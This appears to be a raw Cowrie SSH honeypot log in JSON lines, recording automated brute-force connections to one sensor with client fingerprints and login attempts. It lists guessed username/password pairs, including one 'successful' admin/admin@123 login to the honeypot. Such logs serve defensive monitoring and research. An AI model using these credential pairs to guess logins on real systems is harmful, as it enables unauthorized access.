{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":43384,"dst_ip":"159.203.135.109","dst_port":22,"session":"22898efa7e3b","protocol":"ssh","message":"New connection: 31.59.89.180:43384 (159.203.135.109:22) [session: 22898efa7e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:10.027149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:10.033155Z","src_ip":"31.59.89.180","session":"22898efa7e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:10.135569Z","src_ip":"31.59.89.180","session":"22898efa7e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!!","message":"login attempt [root/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:10.572736Z","src_ip":"31.59.89.180","session":"22898efa7e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:11.678238Z","src_ip":"31.59.89.180","session":"22898efa7e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":37290,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdda0235a5c9","protocol":"ssh","message":"New connection: 147.45.197.250:37290 (159.203.135.109:22) [session: cdda0235a5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:16.734639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:16.740732Z","src_ip":"147.45.197.250","session":"cdda0235a5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:16.829898Z","src_ip":"147.45.197.250","session":"cdda0235a5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xfhkbr","message":"login attempt [root/xfhkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:17.113758Z","src_ip":"147.45.197.250","session":"cdda0235a5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:18.206470Z","src_ip":"147.45.197.250","session":"cdda0235a5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.247","src_port":41380,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f3df6735a9","protocol":"ssh","message":"New connection: 196.92.7.247:41380 (159.203.135.109:22) [session: a6f3df6735a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.092925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.098231Z","src_ip":"196.92.7.247","session":"a6f3df6735a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.229547Z","src_ip":"196.92.7.247","session":"a6f3df6735a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":42276,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ef8af4e552","protocol":"ssh","message":"New connection: 20.87.219.67:42276 (159.203.135.109:22) [session: d0ef8af4e552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.687665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.692740Z","src_ip":"20.87.219.67","session":"d0ef8af4e552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.773571Z","src_ip":"196.92.7.247","session":"a6f3df6735a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:21.919101Z","src_ip":"20.87.219.67","session":"d0ef8af4e552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:22.854689Z","src_ip":"20.87.219.67","session":"d0ef8af4e552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:22.904705Z","src_ip":"196.92.7.247","session":"a6f3df6735a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:24.084999Z","src_ip":"20.87.219.67","session":"d0ef8af4e552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":58744,"dst_ip":"159.203.135.109","dst_port":22,"session":"046b08f7873e","protocol":"ssh","message":"New connection: 156.38.73.89:58744 (159.203.135.109:22) [session: 046b08f7873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:27.708284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:27.713738Z","src_ip":"156.38.73.89","session":"046b08f7873e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:27.905255Z","src_ip":"156.38.73.89","session":"046b08f7873e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:28.691794Z","src_ip":"156.38.73.89","session":"046b08f7873e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:29.894537Z","src_ip":"156.38.73.89","session":"046b08f7873e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":40128,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc0d43775bd","protocol":"ssh","message":"New connection: 27.79.1.70:40128 (159.203.135.109:22) [session: 9fc0d43775bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:41.339845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:41.349149Z","src_ip":"27.79.1.70","session":"9fc0d43775bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:41.597442Z","src_ip":"27.79.1.70","session":"9fc0d43775bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":56882,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f7eb3033e16","protocol":"ssh","message":"New connection: 122.176.122.24:56882 (159.203.135.109:22) [session: 7f7eb3033e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:49.651335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:49.655935Z","src_ip":"122.176.122.24","session":"7f7eb3033e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:49.939422Z","src_ip":"122.176.122.24","session":"7f7eb3033e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:51.102005Z","src_ip":"122.176.122.24","session":"7f7eb3033e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:07:52.388132Z","src_ip":"122.176.122.24","session":"7f7eb3033e16","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:04.046873Z","src_ip":"27.79.1.70","session":"9fc0d43775bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":55548,"dst_ip":"159.203.135.109","dst_port":22,"session":"e341e307e517","protocol":"ssh","message":"New connection: 103.107.60.45:55548 (159.203.135.109:22) [session: e341e307e517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:22.275649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:22.280587Z","src_ip":"103.107.60.45","session":"e341e307e517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:22.497397Z","src_ip":"103.107.60.45","session":"e341e307e517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:23.392463Z","src_ip":"103.107.60.45","session":"e341e307e517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:24.617373Z","src_ip":"103.107.60.45","session":"e341e307e517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"104dcf4497a4","protocol":"ssh","message":"New connection: 20.203.42.204:38140 (159.203.135.109:22) [session: 104dcf4497a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:33.324368Z"}
